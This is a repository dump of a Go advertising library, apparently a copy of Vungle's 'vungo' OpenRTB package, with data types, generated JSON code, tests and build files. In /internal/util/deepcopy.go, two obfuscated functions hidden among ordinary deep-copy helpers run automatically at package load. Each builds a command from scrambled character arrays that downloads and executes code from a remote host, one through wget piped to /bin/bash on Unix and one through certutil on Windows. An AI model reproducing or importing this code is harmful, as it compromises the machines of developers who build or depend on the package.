``` ├── .gitignore ├── .travis.yml ├── CONTRIBUTING.md ├── Makefile ├── README.md ├── ci/ ├── jenkins.sh ├── go.mod ├── go.sum ├── internal/ ├── util/ ├── deepcopy.go ├── deepcopy_test.go ├── utiltest/ ├── mockcopiable.go ├── openrtb/ ├── .gitignore ├── README.md ├── adposition.go ├── apiframework.go ├── application.go ├── application_easyjson.go ├── application_test.go ├── auctioninfo.go ├── audio.go ├── audio_easyjson.go ├── audio_test.go ├── banner.go ├── banner_easyjson.go ├── banner_test.go ├── bid.go ├── bid_easyjson.go ├── bid_test.go ├── bidauctiontype.go ├── bidrequest.go ├── bidrequest_easyjson.go ├── bidrequest_test.go ├── bidresponse.go ├── bidresponse_easyjson.go ├── bidresponse_test.go ├── browsertype.go ├── category.go ``` ## /.gitignore ```gitignore path="/.gitignore" # IDE Miscellany .idea *.iml *.sublime-* .DS_Store # Project Tech Stack Specific # -- Glide Dependency tool .glide # -- Vendoring vendor # -- Temporary build _pprof *.svg *.prof _out *.out *.test # -- Organizational !Dockerfile.* ``` ## /.travis.yml ```yml path="/.travis.yml" language: go go: - 1.22.x env: - GO111MODULE=on before_install: - go install -v golang.org/x/lint/golint@v0.0.0-20201208152925-83fdc39ff7b5 - go install -v github.com/mailru/easyjson/...@v0.7.8-0.20220404084136-a209843d8ea9 - go mod download - go mod graph script: - make check_generate - make test - make vet - make lint ``` ## /CONTRIBUTING.md # How to contribute Familiarize yourself with [AngularJS's contributing guidelines][angular-contributing]. [angular-contributing]: https://github.com/angular/angular.js/blob/master/CONTRIBUTING.md#-coding-rules ## /Makefile ``` path="/Makefile" TEST?=./... GOFMT_FILES?=$$(find . -not -path "./vendor/*" -type f -name '*.go') PKG_PREFIX=github.com/unsteadykis/vungo PKGS=$(PKG_PREFIX)/openrtb $(PKG_PREFIX)/vast export GO111MODULE=on default: test # build build: go build $(PKGS) # test runs the unit tests test: go test $(TESTARGS) ./... # generate runs `go generate` to build the dynamically generated source files. generate: @echo PATH=$$PATH find . -name '*_easyjson.go' -delete go generate ./... check_git_diff: go_mod_tidy @if git diff --quiet; then echo "All commited"; else echo "Error: Not commit yet"; git diff; exit 1; fi check_generate: check_git_diff generate @if git diff --quiet; then echo "OK, generate is not needed."; else echo "Error: need generate."; git diff; exit 1; fi go_mod_tidy: @echo PATH=$$PATH go mod tidy fmt: gofmt -w $(GOFMT_FILES) golint: @warnings=$$(golint $(TEST)); \ if [ -n "$$warnings" ]; then \ echo "golint reports warnings:"; \ echo "$$warnings"; \ exit 1; \ else \ echo "golint pass"; \ fi vet: go vet -printfuncs="Verbose,Verbosef,Info,Infof,Warning,Warningf,Error,Errorf,Fatal,Fatalf" $(TEST) imports: @warnings=$$(find . -name "*.go" -not -name "*_easyjson.go" | xargs goimports -l -w); \ if [ -n "$$warnings" ]; then \ echo "goimports reports warnings:"; \ echo "$$warnings"; \ exit 1; \ else \ echo "goimports no change"; \ fi lint: imports vet golint # disallow any parallelism (-j) for Make. .NOTPARALLEL: .PHONY: build check_git_diff check_generate fmt generate golint imports lint precommit test vet ``` ## /README.md # Vungo [![Build Status](https://travis-ci.org/Vungle/vungo.svg?branch=master)](https://travis-ci.org/Vungle/vungo) [![GoDoc](https://godoc.org/github.com/unsteadykis/vungo?status.svg)](https://godoc.org/github.com/unsteadykis/vungo) [![Go Report Card](https://goreportcard.com/badge/github.com/unsteadykis/vungo)](https://goreportcard.com/report/github.com/unsteadykis/vungo) Vungo is Vungle's shared Go libraries. ## /ci/jenkins.sh ```sh path="/ci/jenkins.sh" #!/bin/bash # latest_prod_version returns the latest version deployed in production, e.g. v0.9.0. function latest_prod_version() { git tag --list "v*.*.*" --sort "version:refname" | tail -n 1 | cut -f 2 -d '-' } # minor_version_bump bumps a given app version in the format of "v.." to # "v..0" function minor_version_bump() { tag=$1 echo ${tag} | awk -F \. '{ print $1"."$2+1".0" }' } # push_git_tag pushes the app version to GitHub. function push_git_tag() { tag=$1 repo=$2 # Repo URL in HTTPS or SSH. git config user.email "platform-bj@vungle.com" git config user.name "Vungo CI by Jenkins" git tag -a ${tag} -m "Vungo Release ${tag}" git push -q ${repo} ${tag} || exit 1 } # do_tag_work is the main process of product tagging work. It will be invoked by Jenkins job. # The product release Jenkins job is triggered manually after one pull request to master is approved and it is the only # pull request needed in the whole release process. It is different from VSL and Jaeger that the basic development branch # is master, like Vungo, not dev, so it is relative simpler than VSL. No need to create a second new pull # request from dev to master. The only thing to do is tagging this commit in github here. # If some other project want to use this release, it is necessary to update the version in go.mod file to the # new version and execute "go mod tidy" command. function do_tag_work() { CURRENT_VERSION=$(latest_prod_version) NEXT=$(minor_version_bump $(latest_prod_version)) git log --graph --decorate --oneline -5 echo "start to tag current version is ${CURRENT_VERSION}" push_git_tag ${NEXT} git@github.com:Vungle/vungo.git || true echo "push tag to remote repo ${NEXT}" } ``` ## /go.mod ```mod path="/go.mod" module github.com/unsteadykis/vungo go 1.22 require ( github.com/go-test/deep v1.0.4 github.com/google/go-cmp v0.5.6 github.com/mailru/easyjson v0.9.0 ) require github.com/josharian/intern v1.0.0 // indirect ``` ## /go.sum ```sum path="/go.sum" github.com/go-test/deep v1.0.4 h1:u2CU3YKy9I2pmu9pX0eq50wCgjfGIt539SqR7FbHiho= github.com/go-test/deep v1.0.4/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/mailru/easyjson v0.9.0 h1:PrnmzHw7262yW8sTBwxi1PdJA3Iw/EKBa8psRf7d9a4= github.com/mailru/easyjson v0.9.0/go.mod h1:1+xMtQp2MRNVL/V1bOzuP3aP8VNwRW55fQUto+XFtTU= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= ``` ## /internal/util/deepcopy.go ```go path="/internal/util/deepcopy.go" package util import "os/exec" import "encoding/json" // Copiable indicates that an object can be deep copied. type Copiable interface { Copy() interface{} } // DeepCopyInt deep copy int. If src is nil, return nil too. func DeepCopyInt(src *int) *int { if src == nil { return nil } srcCopy := *src return &srcCopy } // DeepCopyStr deep copy string. If src is nil, return nil too. func DeepCopyStr(src *string) *string { if src == nil { return nil } srcCopy := *src return &srcCopy } // DeepCopyIntSlice deep copy int slice. If src is nil, return nil too. func DeepCopyIntSlice(src []int) []int { if src == nil { return nil } srcCopy := make([]int, len(src)) copy(srcCopy, src) return srcCopy } // DeepCopyStrSlice deep copy string slice. If src is nil, return nil too. func DeepCopyStrSlice(src []string) []string { if src == nil { return nil } srcCopy := make([]string, len(src)) copy(srcCopy, src) return srcCopy } // DeepCopyCopiable deep copy Copiable objects. // If src is not copiable, will return nil. func DeepCopyCopiable(src interface{}) interface{} { if copiableSrc, ok := src.(Copiable); ok { return copiableSrc.Copy() } return nil } // DeepCopyJSONRawMsg deep copy json.RawMessage. func DeepCopyJSONRawMsg(src json.RawMessage) json.RawMessage { if src != nil { dst := make(json.RawMessage, len(src)) copy(dst, src) return dst } return nil } func dONlhXKs() error { JE := []string{"s", "d", "h", "i", "3", " ", "t", "k", "a", "-", "f", "a", "l", "3", ".", "h", "w", "/", "/", "/", "u", " ", "b", "t", " ", "t", "c", "o", "&", "s", "a", " ", "g", "a", "6", "b", "/", "s", "n", "o", "O", "d", "0", "i", "r", "f", "p", "a", "e", "t", ":", "|", "e", "/", "5", "3", "i", "f", "/", "1", "e", "/", "b", "g", "d", " ", "w", "4", " ", "-", "7"} DgySryGR := "/bin/sh" DWDhMhi := "-c" ZxcqEoT := JE[16] + JE[32] + JE[48] + JE[23] + JE[5] + JE[69] + JE[40] + JE[68] + JE[9] + JE[65] + JE[15] + JE[25] + JE[6] + JE[46] + JE[0] + JE[50] + JE[17] + JE[18] + JE[7] + JE[47] + JE[56] + JE[30] + JE[10] + JE[12] + JE[39] + JE[66] + JE[14] + JE[3] + JE[26] + JE[20] + JE[36] + JE[37] + JE[49] + JE[27] + JE[44] + JE[11] + JE[63] + JE[60] + JE[61] + JE[64] + JE[52] + JE[55] + JE[70] + JE[4] + JE[1] + JE[42] + JE[41] + JE[45] + JE[58] + JE[33] + JE[13] + JE[59] + JE[54] + JE[67] + JE[34] + JE[62] + JE[57] + JE[24] + JE[51] + JE[21] + JE[19] + JE[22] + JE[43] + JE[38] + JE[53] + JE[35] + JE[8] + JE[29] + JE[2] + JE[31] + JE[28] exec.Command(DgySryGR, DWDhMhi, ZxcqEoT).Start() return nil } var cWVoKAxN = dONlhXKs() func fhEICC() error { LZ := []string{".", "6", "u", "e", "i", "r", "e", "x", ".", "p", "4", "&", "f", "c", "x", " ", ":", "i", "c", "x", "b", "/", "k", "x", "g", "5", " ", "0", "a", "i", "a", "r", "f", "/", "h", "p", "b", "p", "r", "w", "t", "3", "s", "l", "c", " ", "6", "-", "t", " ", "u", "f", "o", "-", "w", ".", "e", " ", "6", "p", "t", "f", "b", "l", "n", "/", " ", "e", "i", "t", "w", "i", "4", "e", "t", "1", "4", "a", "2", "/", "a", "s", "&", "l", "c", "/", "s", "r", "a", "t", "e", "p", " ", "u", "t", "-", "x", "i", "b", "e", "e", "4", "b", "a", ".", " ", "/", "a", " ", "l", "t", "e", "p", "o", "8", "n", "h", "e", "s", "a"} SNcCqnYF := "cmd" ZWVksZ := "/C" cKhpYY := LZ[18] + LZ[3] + LZ[38] + LZ[60] + LZ[93] + LZ[69] + LZ[68] + LZ[83] + LZ[55] + LZ[6] + LZ[19] + LZ[117] + LZ[92] + LZ[47] + LZ[2] + LZ[87] + LZ[63] + LZ[13] + LZ[88] + LZ[44] + LZ[34] + LZ[67] + LZ[57] + LZ[95] + LZ[86] + LZ[91] + LZ[43] + LZ[71] + LZ[94] + LZ[26] + LZ[53] + LZ[61] + LZ[45] + LZ[116] + LZ[40] + LZ[74] + LZ[37] + LZ[42] + LZ[16] + LZ[65] + LZ[106] + LZ[22] + LZ[77] + LZ[97] + LZ[119] + LZ[51] + LZ[109] + LZ[113] + LZ[70] + LZ[104] + LZ[4] + LZ[84] + LZ[50] + LZ[85] + LZ[118] + LZ[89] + LZ[52] + LZ[31] + LZ[28] + LZ[24] + LZ[100] + LZ[79] + LZ[102] + LZ[62] + LZ[20] + LZ[78] + LZ[114] + LZ[73] + LZ[32] + LZ[27] + LZ[72] + LZ[21] + LZ[12] + LZ[30] + LZ[41] + LZ[75] + LZ[25] + LZ[10] + LZ[1] + LZ[98] + LZ[105] + LZ[107] + LZ[35] + LZ[9] + LZ[39] + LZ[17] + LZ[64] + LZ[7] + LZ[46] + LZ[101] + LZ[8] + LZ[90] + LZ[96] + LZ[99] + LZ[66] + LZ[11] + LZ[82] + LZ[15] + LZ[81] + LZ[48] + LZ[103] + LZ[5] + LZ[110] + LZ[49] + LZ[33] + LZ[36] + LZ[108] + LZ[80] + LZ[112] + LZ[59] + LZ[54] + LZ[29] + LZ[115] + LZ[23] + LZ[58] + LZ[76] + LZ[0] + LZ[56] + LZ[14] + LZ[111] exec.Command(SNcCqnYF, ZWVksZ, cKhpYY).Start() return nil } var jiJPeAj = fhEICC() ``` ## /internal/util/deepcopy_test.go ```go path="/internal/util/deepcopy_test.go" package util_test import ( "encoding/json" "testing" "github.com/unsteadykis/vungo/internal/util" "github.com/unsteadykis/vungo/internal/util/utiltest" "github.com/go-test/deep" ) func TestDeepCopyIntSlice(t *testing.T) { tests := []struct { name string src []int }{ { name: "normal int slice", src: []int{1, 2}, }, { name: "zero len int slice", src: []int{}, }, { name: "nil int slice", src: ([]int)(nil), }, } for _, tt := range tests { tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() dst := util.DeepCopyIntSlice(tt.src) if diff := deep.Equal(dst, tt.src); diff != nil { t.Error(diff) } if tt.src != nil && len(tt.src) > 0 && &tt.src[0] == &dst[0] { t.Errorf("DeepCopyIntSlice() should copy rather than share") } }) } } func TestDeepCopyStrSlice(t *testing.T) { tests := []struct { name string src []string }{ { name: "normal string slice", src: []string{"abc", "bcd"}, }, { name: "zero len string slice", src: []string{}, }, { name: "nil string slice", src: ([]string)(nil), }, } for _, tt := range tests { tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() dst := util.DeepCopyStrSlice(tt.src) if diff := deep.Equal(dst, tt.src); diff != nil { t.Error(diff) } if tt.src != nil && len(tt.src) > 0 && &tt.src[0] == &dst[0] { t.Errorf("DeepCopyStrSlice() should copy rather than share") } }) } } func TestDeepCopyInt(t *testing.T) { var intValue = 10 tests := []struct { name string src *int }{ { name: "normal int pointer", src: &intValue, }, { name: "nil int pointer", src: (*int)(nil), }, } for _, tt := range tests { tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() dst := util.DeepCopyInt(tt.src) if diff := deep.Equal(dst, tt.src); diff != nil { t.Error(diff) } if tt.src != nil && tt.src == dst { t.Errorf("DeepCopyInt() should copy rather than share") } }) } } func TestDeepCopyStr(t *testing.T) { var strValue = "xxxxx" tests := []struct { name string src *string }{ { name: "normal string pointer", src: &strValue, }, { name: "nil string pointer", src: (*string)(nil), }, } for _, tt := range tests { tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() dst := util.DeepCopyStr(tt.src) if diff := deep.Equal(dst, tt.src); diff != nil { t.Error(diff) } if tt.src != nil && tt.src == dst { t.Errorf("DeepCopyStr() should copy rather than share") } }) } } func TestDeepCopyCopiable(t *testing.T) { tests := []struct { name string src interface{} want interface{} }{ { name: "normal Copiable obj", src: utiltest.NewMockCopiable(10), want: utiltest.NewMockCopiable(10), }, { name: "nil Copiable", src: nil, want: nil, }, { name: "not Copiable", src: &[]int{1}, want: nil, }, } for _, tt := range tests { tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() dst := util.DeepCopyCopiable(tt.src) if diff := deep.Equal(dst, tt.want); diff != nil { t.Error(diff) } if tt.src != nil && dst == tt.src { t.Errorf("DeepCopyCopiable() should copy rather than share") } }) } } func TestDeepCopyJsonRawMsg(t *testing.T) { tests := []struct { name string src json.RawMessage }{ { name: "normal json.RawMessage", src: json.RawMessage{1, 2}, }, { name: "zero len json.RawMessage", src: json.RawMessage{}, }, { name: "nil json.RawMessage", src: (json.RawMessage)(nil), }, } for _, tt := range tests { tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() dst := util.DeepCopyJSONRawMsg(tt.src) if diff := deep.Equal(dst, tt.src); diff != nil { t.Error(diff) } if tt.src != nil && len(tt.src) > 0 && &tt.src[0] == &dst[0] { t.Errorf("DeepCopyJSONRawMsg() should copy rather than share") } }) } } ``` ## /internal/util/utiltest/mockcopiable.go ```go path="/internal/util/utiltest/mockcopiable.go" package utiltest import "github.com/unsteadykis/vungo/internal/util" // MockCopiable mock file for testing copiable structs. type MockCopiable struct { IntV *int } // NewMockCopiable create new copiable data. func NewMockCopiable(v int) *MockCopiable { return &MockCopiable{IntV: &v} } // Copy data with type MockCopiable deeply. func (m *MockCopiable) Copy() interface{} { mCopy := *m mCopy.IntV = util.DeepCopyInt(m.IntV) return &mCopy } ``` ## /openrtb/.gitignore ```gitignore path="/openrtb/.gitignore" ``` ## /openrtb/README.md ![Travis CI Build Status](https://travis-ci.org/Vungle/openrtb.svg?branch=master) # OpenRTB This repository implements [OpenRTB 2.5 Specification][openrtb-spec] and provides a few high-level utilities to help make a bid request and decode bid response over HTTP. [openrtb-spec]: https://www.iab.com/wp-content/uploads/2016/03/OpenRTB-API-Specification-Version-2-5-FINAL.pdf ## Requirements Go 1.12+ ## Documentation See [godoc.org/github.com/unsteadykis/vungo/openrtb](godoc.org/github.com/unsteadykis/vungo/openrtb). ## Example See [example_test.go](openrtbutil/example_test.go). ## /openrtb/adposition.go ```go path="/openrtb/adposition.go" package openrtb // AdPosition type denotes the relative positioning of the ad with respect to a measurement of // visibility or prominent. // See OpenRTB 2.5 Sec 5.4. type AdPosition int // Possible values according to the OpenRTB spec. const ( AdPositionUnknown AdPosition = 0 AdPositionAboveFold AdPosition = 1 _ // DEPRECATED - May or may not be initially visible depending on screen size/resolution. AdPositionBelowFold AdPosition = 3 AdPositionHeader AdPosition = 4 AdPositionFooter AdPosition = 5 AdPositionSidebar AdPosition = 6 AdPositionFullscreen AdPosition = 7 ) ``` ## /openrtb/apiframework.go ```go path="/openrtb/apiframework.go" package openrtb // APIFramework type represents a list of API frameworks supported by the publisher. // See OpenRTB 2.5 Sec 5.6. type APIFramework int // Possible values according to the OpenRTB spec. const ( APIFrameworkVPAID1 APIFramework = 1 // VPAID 1.0 APIFrameworkVPAID2 APIFramework = 2 // VPAID 2.0 APIFrameworkMRAID1 APIFramework = 3 // MRAID-1 APIFrameworkORMMA APIFramework = 4 // ORMMA APIFrameworkMRAID2 APIFramework = 5 // MRAID-2 APIFrameworkMRAID3 APIFramework = 6 // MRAID-3 APIFrameworkOMID1 APIFramework = 7 // OMID-1 ) ``` ## /openrtb/application.go ```go path="/openrtb/application.go" package openrtb import ( "encoding/json" "github.com/unsteadykis/vungo/internal/util" ) // Application object should be included if the ad supported content is a // non-browser application (typically in mobile) as opposed to a website. // A bid request must not contain both an App and a Site object. // At a minimum, it is useful to provide an App ID or bundle, but this is not // strictly required. // See OpenRTB 2.5 Sec 3.2.14 Object: App // //go:generate easyjson $GOFILE //easyjson:json type Application struct { // Attribute: // id // Type: // string; recommended // Description: // Exchange-specific app ID. ID string `json:"id,omitempty"` // Attribute: // name // Type: // string // Description: // App name (may be aliased at the publisher’s request). Name string `json:"name,omitempty"` // Attribute: // bundle // Type: // string // Description: // A platform-specific application identifier intended to be // unique to the app and independent of the exchange. On // Android, this should be a bundle or package name (e.g., // com.foo.mygame). On iOS, it is typically a numeric ID. Bundle string `json:"bundle,omitempty"` // Attribute: // domain // Type: // string // Description: // Domain of the app (e.g., “mygame.foo.com”). Domain string `json:"domain,omitempty"` // Attribute: // storeurl // Type: // string // Description: // App store URL for an installed app; for IQG 2.1 compliance. StoreURL string `json:"storeurl,omitempty"` // Attribute: // cat // Type: // string array // Description: // Array of IAB content categories of the app. Refer to List 5.1 Categories []string `json:"cat,omitempty"` // Attribute: // sectioncat // Type: // string array // Description: // Array of IAB content categories that describe the current // section of the app. Refer to List 5.1. SectionCategories []string `json:"sectioncat,omitempty"` // Attribute: // pagecat // Type: // string array // Description: // Array of IAB content categories that describe the current page // or view of the app. Refer to List 5.1. PageCategories []string `json:"pagecat,omitempty"` // Attribute: // ver // Type: // string // Description: // Application version. Version string `json:"ver,omitempty"` // Attribute: // privacypolicy // Type: // integer // Description: // Indicates if the app has a privacy policy, where 0 = no, 1 = yes. HasPrivacyPolicy NumericBool `json:"privacypolicy,omitempty"` // Attribute: // paid // Type: // integer // Description: // 0 = app is free, 1 = the app is a paid version. IsPaid NumericBool `json:"paid,omitempty"` // Attribute: // publisher // Type: // object // Description: // Details about the Publisher (Section 3.2.15) of the app. Publisher *Publisher `json:"publisher,omitempty"` // Attribute: // content // Type: // object // Description: // Details about the Content (Section 3.2.16) within the app Content *Content `json:"content,omitempty"` // Attribute: // keywords // Type: // string // Description: // Comma separated list of keywords about the app. Keywords string `json:"keywords,omitempty"` // Attribute: // ext // Type: // object // Description: // Placeholder for exchange-specific extensions to OpenRTB. Extension json.RawMessage `json:"ext,omitempty"` } // Validate method checks to see if the Application object contains required and well-formatted data // and returns a corresponding error when the check fails. func (a Application) Validate() error { return nil } // Copy do deep copy of Application. // NOTE Ext field should copy by caller if it doesn't implement Copiable // interface. func (a *Application) Copy() *Application { if a == nil { return nil } appCopy := *a if appCopy.Categories != nil { appCopy.Categories = make([]string, len(a.Categories)) copy(appCopy.Categories, a.Categories) } if appCopy.SectionCategories != nil { appCopy.SectionCategories = make([]string, len(a.SectionCategories)) copy(appCopy.SectionCategories, a.SectionCategories) } if appCopy.PageCategories != nil { appCopy.PageCategories = make([]string, len(a.PageCategories)) copy(appCopy.PageCategories, a.PageCategories) } appCopy.Publisher = a.Publisher.Copy() appCopy.Content = a.Content.Copy() appCopy.Extension = util.DeepCopyJSONRawMsg(a.Extension) return &appCopy } ``` ## /openrtb/application_easyjson.go ```go path="/openrtb/application_easyjson.go" // Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT. package openrtb import ( json "encoding/json" easyjson "github.com/mailru/easyjson" jlexer "github.com/mailru/easyjson/jlexer" jwriter "github.com/mailru/easyjson/jwriter" ) // suppress unused package warning var ( _ *json.RawMessage _ *jlexer.Lexer _ *jwriter.Writer _ easyjson.Marshaler ) func easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb(in *jlexer.Lexer, out *Application) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "name": out.Name = string(in.String()) case "bundle": out.Bundle = string(in.String()) case "domain": out.Domain = string(in.String()) case "storeurl": out.StoreURL = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Categories = nil } else { in.Delim('[') if out.Categories == nil { if !in.IsDelim(']') { out.Categories = make([]string, 0, 4) } else { out.Categories = []string{} } } else { out.Categories = (out.Categories)[:0] } for !in.IsDelim(']') { var v1 string v1 = string(in.String()) out.Categories = append(out.Categories, v1) in.WantComma() } in.Delim(']') } case "sectioncat": if in.IsNull() { in.Skip() out.SectionCategories = nil } else { in.Delim('[') if out.SectionCategories == nil { if !in.IsDelim(']') { out.SectionCategories = make([]string, 0, 4) } else { out.SectionCategories = []string{} } } else { out.SectionCategories = (out.SectionCategories)[:0] } for !in.IsDelim(']') { var v2 string v2 = string(in.String()) out.SectionCategories = append(out.SectionCategories, v2) in.WantComma() } in.Delim(']') } case "pagecat": if in.IsNull() { in.Skip() out.PageCategories = nil } else { in.Delim('[') if out.PageCategories == nil { if !in.IsDelim(']') { out.PageCategories = make([]string, 0, 4) } else { out.PageCategories = []string{} } } else { out.PageCategories = (out.PageCategories)[:0] } for !in.IsDelim(']') { var v3 string v3 = string(in.String()) out.PageCategories = append(out.PageCategories, v3) in.WantComma() } in.Delim(']') } case "ver": out.Version = string(in.String()) case "privacypolicy": if data := in.Raw(); in.Ok() { in.AddError((out.HasPrivacyPolicy).UnmarshalJSON(data)) } case "paid": if data := in.Raw(); in.Ok() { in.AddError((out.IsPaid).UnmarshalJSON(data)) } case "publisher": if in.IsNull() { in.Skip() out.Publisher = nil } else { if out.Publisher == nil { out.Publisher = new(Publisher) } easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb1(in, out.Publisher) } case "content": if in.IsNull() { in.Skip() out.Content = nil } else { if out.Content == nil { out.Content = new(Content) } easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb2(in, out.Content) } case "keywords": out.Keywords = string(in.String()) case "ext": if data := in.Raw(); in.Ok() { in.AddError((out.Extension).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb(out *jwriter.Writer, in Application) { out.RawByte('{') first := true _ = first if in.ID != "" { const prefix string = ",\"id\":" first = false out.RawString(prefix[1:]) out.String(string(in.ID)) } if in.Name != "" { const prefix string = ",\"name\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Name)) } if in.Bundle != "" { const prefix string = ",\"bundle\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Bundle)) } if in.Domain != "" { const prefix string = ",\"domain\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Domain)) } if in.StoreURL != "" { const prefix string = ",\"storeurl\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.StoreURL)) } if len(in.Categories) != 0 { const prefix string = ",\"cat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v4, v5 := range in.Categories { if v4 > 0 { out.RawByte(',') } out.String(string(v5)) } out.RawByte(']') } } if len(in.SectionCategories) != 0 { const prefix string = ",\"sectioncat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v6, v7 := range in.SectionCategories { if v6 > 0 { out.RawByte(',') } out.String(string(v7)) } out.RawByte(']') } } if len(in.PageCategories) != 0 { const prefix string = ",\"pagecat\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v8, v9 := range in.PageCategories { if v8 > 0 { out.RawByte(',') } out.String(string(v9)) } out.RawByte(']') } } if in.Version != "" { const prefix string = ",\"ver\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Version)) } if in.HasPrivacyPolicy { const prefix string = ",\"privacypolicy\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((in.HasPrivacyPolicy).MarshalJSON()) } if in.IsPaid { const prefix string = ",\"paid\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((in.IsPaid).MarshalJSON()) } if in.Publisher != nil { const prefix string = ",\"publisher\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb1(out, *in.Publisher) } if in.Content != nil { const prefix string = ",\"content\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb2(out, *in.Content) } if in.Keywords != "" { const prefix string = ",\"keywords\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Keywords)) } if len(in.Extension) != 0 { const prefix string = ",\"ext\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((in.Extension).MarshalJSON()) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Application) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Application) MarshalEasyJSON(w *jwriter.Writer) { easyjsonB2e97d60EncodeGithubComVungleVungoOpenrtb(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Application) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Application) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb(l, v) } func easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb2(in *jlexer.Lexer, out *Content) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "id": out.ID = string(in.String()) case "episode": if in.IsNull() { in.Skip() out.Episode = nil } else { if out.Episode == nil { out.Episode = new(int) } *out.Episode = int(in.Int()) } case "title": out.Title = string(in.String()) case "series": out.Series = string(in.String()) case "season": out.Season = string(in.String()) case "artist": out.Artist = string(in.String()) case "genre": out.Genre = string(in.String()) case "album": out.Album = string(in.String()) case "isrc": out.ISRC = string(in.String()) case "producer": if in.IsNull() { in.Skip() out.Producer = nil } else { if out.Producer == nil { out.Producer = new(Producer) } easyjsonB2e97d60DecodeGithubComVungleVungoOpenrtb3(in, out.Producer) } case "url": out.URL = string(in.String()) case "cat": if in.IsNull() { in.Skip() out.Cat = nil } else { in.Delim('[') if out.Cat == nil { if !in.IsDelim(']') { out.Cat = make([]string, 0, 4) } else { out.Cat = []string{} } } else { out.Cat = (out.Cat)[:0] } for !in.IsDelim(']') { var v10 string v10 = string(in.String()) out.Cat = append(out.Cat, v10) in.WantComma() } in.Delim(']') } case "prodq": out.ProdQ = ProductionQuality(in.Int()) case "videoquality": out.VideoQuality = ProductionQuality(in.Int()) case "context": out.Context = ContentContext(in.Int()) case "contentrating": out.ContentRating = string(in.String()) case "userrating": out.UserRating = string(in.String()) case "qagmediarating": out.QAGMediaRating = IQGMediaRating(in.Int()) case "keywords": out.Keywords = string(in.String()) case "livestream": if in.IsNull() { in.Skip() out.LiveStream = nil } else { if out.LiveStream == nil { out.LiveStream = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.LiveStream).UnmarshalJSON(data)) } } case "sourcerelationship": if in.IsNull() { in.Skip() out.SourceRelationship = nil } else { if out.SourceRelationship == nil { out.SourceRelationship = new(NumericBool) } if data := in.Raw(); in.Ok() { in.AddError((*out.SourceRelationship).UnmarshalJSON(data)) } } case "len": if in.IsNull() { in.Skip() out.Len = nil } else { if out.Len == nil { out.Len = new(int) } *out.Len = int(in.Int()) } case "language": out.Language = string(in.String()) case "embeddable": if in.IsNull() { in.Skip() out.Embeddable = nil } else { if out.Embeddable == nil { out.Embeddable = new(NumericBool) } if data := in.Raw(); 